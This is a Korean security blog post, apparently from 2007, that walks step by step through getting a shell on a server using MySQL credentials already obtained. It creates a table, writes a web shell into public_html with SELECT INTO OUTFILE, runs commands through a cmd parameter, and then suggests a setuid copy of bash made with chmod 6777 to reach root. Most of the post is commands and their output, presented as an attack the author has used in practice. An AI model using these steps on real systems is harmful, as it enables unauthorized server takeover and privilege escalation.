본문으로 바로가기

Mysql 을 이용한 쉘 획득법

category Security/Web 2007. 3. 9. 01:10
반응형
이런 짓을 실제로 쓸떄가 있나요?
-_-; 본인 같은 경우는 실제로 쓸떄가 있었다.
어째든 쓸 경우는
mysql 계정은 획득 했지만,
shell은 얻지 못했을 경우 사용하는 것 이다. (*__)

1. 대상 mysql 서버에 접속을 합니다.

Administrator>mysql -h dualexample.com -u dual -p
Enter password: ************

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1101 to server version: 4.1.15-Debian_1-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

2. 사용 가능한 데이터 베이스를 선택합니다.

mysql> show databases;
+----------+
| Database |
+----------+
| dual   |
+----------+
1 row in set (0.26 sec)

mysql> use dual;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> show tables;
+--------------------------+
| Tables_in_dual       |
+--------------------------+
0 rows in set (0.00 sec)


3. 테이블을 하나 만듭니다.

mysql> create table DualExploit(exploit char(500) not null);
Query OK, 0 rows affected, 1 warning (0.02 sec)

mysql> show tables;

+--------------------------+
| Tables_in_dual       |
+--------------------------+
| DualExploit         |
+--------------------------+
1 rows in set (0.00 sec)

4. 이 테이블의 값을 세팅 합니다.

mysql> insert into DualExploit values('');
Query OK, 1 row affected (0.00 sec)

mysql> select * from DualExploit;
+------------------+
| exploit       |
+------------------+
| |
+------------------+
1 row in set (0.01 sec)

5. 파일로 OUT 시킵니다.

mysql> select * from DualExploit INTO
OUTFILE '~/public_html/shell.php';

Query OK, 1 row affected (0.00 sec)

6. 정상적으로 생성되었는지 확인합니다.

http://dualexample.com/shell.php?cmd=id

-> nobody nobody nobody

----------------------------------------------
이번 글 에서는 mysql을 이용하여
웹쉘을 생성해서 대상 서버에서 쉘을 획득하는 방법에 대해서
다루어 보았는데요,
웹쉘을 획득한 후,
cp /bin/bash /tmp/myshell
chmod 6777 /tmp/myshell
을 실행시키도록 파일을 만들어놓고,
이것을 웹쉘에서 실행 시키면,
Root를 얻기도 하지요. :)
반응형

'Security > Web' 카테고리의 다른 글

/etc/passwd 구조  (0) 2007.03.09
PHP Injection  (0) 2007.03.09
쿠키해킹의 개념  (0) 2007.03.08
Directory traversal  (0) 2007.03.08
Directory traversal  (0) 2007.03.08